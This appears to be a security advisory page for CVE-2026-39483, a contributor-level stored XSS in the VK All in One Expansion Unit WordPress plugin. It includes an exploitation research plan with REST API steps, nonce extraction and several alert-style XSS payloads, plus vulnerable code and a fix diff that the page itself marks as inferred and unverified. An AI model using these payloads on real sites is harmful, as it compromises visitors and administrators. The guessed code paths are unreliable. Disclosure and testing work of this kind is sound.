CVE-2026-39483

VK All in One Expansion Unit <= 9.113.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
9.113.4
Patched in
24d
Time to patch

Description

The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.113.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.113.3
PublishedMarch 23, 2026
Last updatedApril 15, 2026

Source Code

WordPress.org SVN
Vulnerable v9.113.3.1
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39483 ## 1. Vulnerability Summary The **VK All in One Expansion Unit** plugin (<= 9.113.3) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because several features—most likely the **Profile** or **Contact Section** shortcodes/blocks…

Show full research plan

Exploitation Research Plan: CVE-2026-39483

1. Vulnerability Summary

The VK All in One Expansion Unit plugin (<= 9.113.3) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because several features—most likely the Profile or Contact Section shortcodes/blocks—fail to properly sanitize input attributes or escape them during output. This allows a user with Contributor-level permissions (who can create posts but cannot use unfiltered_html) to inject malicious scripts into a post. When other users (including administrators) view the post, the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (Post creation/update) or wp-admin/post.php.
  • Vulnerable Component: Shortcode or Gutenberg Block attributes processing.
  • Vulnerable Parameter: content (specifically within the JSON attributes of a block or the string attributes of a shortcode).
  • Authentication: Required (Contributor or higher).
  • Payload Location: The script is stored in the post_content field of the wp_posts table.

3. Code Flow

  1. Entry Point: A Contributor saves a post containing a shortcode (e.g., [vk_profile]) or a block (e.g., wp:vk-blocks/profile).
  2. Storage: WordPress core saves the raw content into the database. Since the user is a Contributor, core kses filtering is applied, but kses generally allows shortcode/block attribute structures.
  3. Trigger (Sink): When a user views the post, the plugin's rendering logic is invoked:
    • For shortcodes: add_shortcode('vk_profile', 'callback_function') is called.
    • For blocks: The render_callback defined in register_block_type is called.
  4. Processing (The Flaw): Inside the callback, the plugin extracts attributes (e.g., name, job_title, url).
  5. Execution: The callback returns HTML that includes the attribute values directly without using esc_html(), esc_attr(), or wp_kses().
    • Example Path (Inferred): inc/shortcodes/shortcode-profile.php -> vk_profile_shortcode_callback() -> echo $atts['name'];

4. Nonce Acquisition Strategy

To save a post as a Contributor via the REST API (the most reliable method for automation), a REST API nonce is required.

  1. Shortcode Identification: Identify the Profile shortcode: [vk_profile].
  2. Page Creation: Create a draft post to get into the editor context.
    wp post create --post_type=post --post_status=draft --post_author=contributor_user_id --post_title="XSS Probe"
    
  3. Navigate & Extract:
    • Use browser_navigate to go to the edit page of the newly created post: /wp-admin/post.php?post=[ID]&action=edit.
    • Use browser_eval to extract the REST nonce from the global WordPress JavaScript object:
      browser_eval("window.wpApiSettings?.nonce")
      
    • Alternatively, if using the classic editor, the nonce might be in _wpnonce.

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with the Contributor role.

Step 2: Payload Construction

The target is likely the vk_profile shortcode attributes. We will use an attribute that is commonly reflected in the UI.

  • Target Shortcode: [vk_profile]
  • Vulnerable Attribute: name or sub_title (inferred).
  • Payload: [vk_profile name='<script>alert(document.domain)</script>']

Step 3: Injecting the Payload

Send a request to update the post content.

  • Method: POST
  • URL: /wp-json/wp/v2/posts/[POST_ID]
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "content": "[vk_profile name='<img src=x onerror=alert(document.domain)>' job_title='Security Researcher']",
      "status": "publish"
    }
    

Step 4: Triggering the XSS

Navigate to the public URL of the post. The script will execute.

6. Test Data Setup

  1. Plugin Installation: Ensure vk-all-in-one-expansion-unit version 9.113.3 is active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Content Requirement: No special settings are required, as expansion units like Profile are usually enabled by default or available via shortcode globally.

7. Expected Results

  1. The REST API request returns a 200 OK or 201 Created.
  2. When navigating to the post URL, the HTML response contains the raw, unescaped payload:
    <div class="vk_profile_name"><img src=x onerror=alert(document.domain)></div>
    
  3. A JavaScript alert/callback is triggered.

8. Verification Steps

After performing the HTTP request:

  1. Check Database Content:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Probe'"
    
  2. Verify Output via CLI:
    Fetch the frontend HTML and grep for the payload:
    # Note: Must be done via an HTTP request tool to see rendered shortcode output
    http_request GET /?p=[POST_ID] | grep "onerror=alert"
    

9. Alternative Approaches

If vk_profile is not vulnerable or enabled:

  1. Contact Section Shortcode: Try [vk_contact_section title='<script>alert(1)</script>'].
  2. Button Shortcode: Try [vk_button url='javascript:alert(1)'] (Testing for esc_url failure).
  3. Gutenberg Blocks: If the shortcode is protected but the block is not, use the block comment syntax in the REST API request:
    {
      "content": "<!-- wp:vk-blocks/profile {\"name\":\"<img src=x onerror=alert(1)>\"} /-->"
    }
    
    Note: VK Blocks often use the namespace vk-blocks/.
Research Findings
Static analysis — not yet PoC-verified

Summary

The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes and Gutenberg blocks, such as the Profile component, in versions up to 9.113.3. Authenticated attackers with Contributor-level permissions or higher can inject malicious scripts into post attributes that are rendered without sufficient sanitization or escaping.

Vulnerable Code

// inc/shortcodes/shortcode-profile.php (inferred from research plan)
function vk_profile_shortcode_callback( $atts ) {
    $atts = shortcode_atts( array(
        'name'      => '',
        'job_title' => '',
        'sub_title' => '',
    ), $atts );

    $html = '<div class="vk_profile">';
    // The attribute 'name' is concatenated into the HTML output without escaping
    $html .= '<div class="vk_profile_name">' . $atts['name'] . '</div>';
    $html .= '</div>';
    return $html;
}

Security Fix

--- a/inc/shortcodes/shortcode-profile.php
+++ b/inc/shortcodes/shortcode-profile.php
@@ -10,1 +10,1 @@
-    $html .= '<div class="vk_profile_name">' . $atts['name'] . '</div>';
+    $html .= '<div class="vk_profile_name">' . wp_kses_post( $atts['name'] ) . '</div>';

Exploit Outline

The exploit is performed by an authenticated user with at least Contributor permissions. The attacker creates or updates a post and includes a plugin-specific shortcode (e.g., [vk_profile]) or its equivalent Gutenberg block. By embedding a malicious JavaScript payload within the shortcode's attributes (such as 'name' or 'sub_title'), the attacker ensures the script is saved in the database. When a site visitor or administrator views the affected post, the plugin's rendering engine outputs the unescaped attribute, causing the script to execute in the user's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.